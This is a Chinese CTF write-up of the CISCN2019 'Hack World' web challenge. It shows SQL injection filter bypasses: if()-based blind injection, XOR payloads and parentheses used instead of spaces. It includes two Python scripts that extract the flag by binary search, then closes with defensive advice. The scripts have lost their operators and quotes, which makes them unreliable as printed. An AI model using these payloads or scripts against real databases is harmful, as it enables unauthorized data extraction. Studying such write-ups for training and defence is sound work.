从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧
1. 从CISCN2019华北赛区Web1看SQL注入的巧妙绕过技巧在CTF比赛中Web安全题目常常会设置各种过滤规则来阻止常见的攻击手法。CISCN2019华北赛区的Web1题目Hack World就是一个典型的例子它通过组合过滤的方式限制了传统SQL注入手段。这道题的精妙之处在于它没有完全禁用所有SQL功能而是通过特定规则让选手必须寻找更隐蔽的绕过方式。我最初看到这道题时发现它过滤了单引号和#的组合以及单引号和;的组合。这种组合过滤比单纯的关键字过滤要聪明得多因为它阻止了大多数注释符的使用。但有趣的是(select)这样的关键结构却没有被过滤这给了我们发挥的空间。在实际测试中我发现空格也被过滤了但可以用括号来绕过这是MySQL的一个特性。2. 题目分析与过滤规则拆解2.1 理解题目过滤机制首先我们需要明确题目过滤了哪些内容。通过Burp Suite的Intruder模块进行模糊测试(fuzz)我发现长度为482的请求包都会被拦截。但更关键的是组合过滤规则单引号和#不能同时出现单引号和分号;不能同时出现空格被过滤这种过滤方式非常聪明因为它阻止了大多数常见的SQL注入技巧。比如我们既不能用单引号闭合语句也不能用#或--来注释掉后面的内容。空格被过滤也使得语句构造更加困难。2.2 可用的SQL功能尽管有这些限制但题目并没有完全禁用所有SQL功能。经过测试我发现以下结构仍然可用if语句if(条件,值1,值2)select语句需要用括号包裹比较运算符, , 逻辑运算符and, or, xor函数ascii(), substr()这些可用的功能为我们提供了绕过的基础。特别是if语句的保留让我们可以使用布尔盲注的技术。3. 绕过技巧一利用if语句进行布尔盲注3.1 if语句的工作原理MySQL的if函数语法是if(expr1,expr2,expr3)。如果expr1为真则返回expr2否则返回expr3。在这个题目中我们可以利用这个特性来构造布尔盲注。例如简单的测试if(1,1,2) // 返回1 if(0,1,2) // 返回2通过观察返回结果是1还是2我们就能知道条件是否为真。3.2 构造盲注payload基于这个原理我们可以构造如下payload来获取数据库名if(ascii(substr((select(database())),1,1))32,1,2)这个payload的意思是取当前数据库名的第一个字符的ASCII码如果大于32可打印字符的范围就返回1否则返回2。通过服务器返回的结果我们就能判断条件是否为真。3.3 自动化脚本编写手动测试每个字符显然效率太低我们需要编写Python脚本来自动化这个过程。脚本的核心思路是二分查找import requests url http://example.com/index.php flag i 0 while True: i 1 left 32 right 127 while left right: mid (left right) // 2 payload fif(ascii(substr((select(flag)from(flag)),{i},1)){mid},1,2) data {id: payload} res requests.post(urlurl, datadata).text if Hello in res: # 根据实际返回结果调整判断条件 left mid 1 else: right mid if left ! 32: flag chr(left) print(flag) else: break这个脚本会逐个字符地爆破flag使用二分查找来提高效率。每次请求都会判断当前字符的ASCII码是否大于中间值根据返回结果调整查找范围。4. 绕过技巧二利用异或运算进行注入4.1 异或运算的原理除了if语句我们还可以利用MySQL的逻辑运算符来绕过过滤。特别是异或(XOR)运算它有以下特性0 XOR 0 00 XOR 1 11 XOR 0 11 XOR 1 0在题目中我们发现输入0和1会返回不同的结果。这提示我们可以构造基于异或运算的payload。4.2 构造异或payload基本的测试payload0^(1) // 返回1 0^(0) // 返回0我们可以利用这个特性来构造条件判断0^(ascii(substr(database(),1,1))0)如果数据库名的第一个字符的ASCII码大于0整个表达式就相当于0^11返回1的结果否则返回0。4.3 异或注入的脚本实现基于异或运算的脚本与if语句的类似但payload构造方式不同import requests url http://example.com/index.php flag i 0 while True: i 1 left 32 right 127 while left right: mid (left right) // 2 payload f0^(ascii(substr((select(flag)from(flag)),{i},1)){mid}) data {id: payload} res requests.post(urlurl, datadata).text if Hello in res: # 根据实际返回结果调整判断条件 left mid 1 else: right mid if left ! 32: flag chr(left) print(flag) else: break这个脚本同样使用二分查找法但利用了异或运算的特性来构造条件判断。5. 其他可能的绕过思路5.1 使用括号代替空格在MySQL中某些情况下可以用括号代替空格。例如select(flag)from(flag) # 等同于 select flag from flag这在空格被过滤时特别有用。需要注意的是并非所有地方都能这样替换需要实际测试。5.2 利用字符串拼接函数如果题目没有过滤concat等字符串函数可以尝试select(concat(f,lag))from(flag)这种方式可以绕过一些简单的关键字过滤。5.3 使用注释符变体虽然#和--被过滤了但可以尝试其他注释方式如select 1;%00 # 使用空字节截断不过在这个题目中分号被过滤了所以这种方法可能不适用。6. 防御建议与总结从这道题目中我们可以学到很多关于SQL注入防御的经验。首先组合过滤比单一关键字过滤更有效。其次即使允许某些SQL功能也可以通过精心设计的规则来限制攻击面。对于开发者来说防御SQL注入的最佳实践仍然是使用参数化查询。如果必须使用过滤应该考虑过滤所有可能的注释符号限制特殊字符的组合使用对空格和括号的使用进行监控实现白名单机制只允许必要的SQL操作在实际渗透测试中遇到过滤时不要轻易放弃要仔细测试哪些功能仍然可用。有时候一些看似无害的函数或运算符可能就是突破的关键。这道题目中的if语句和异或运算就是很好的例子。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2456668.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!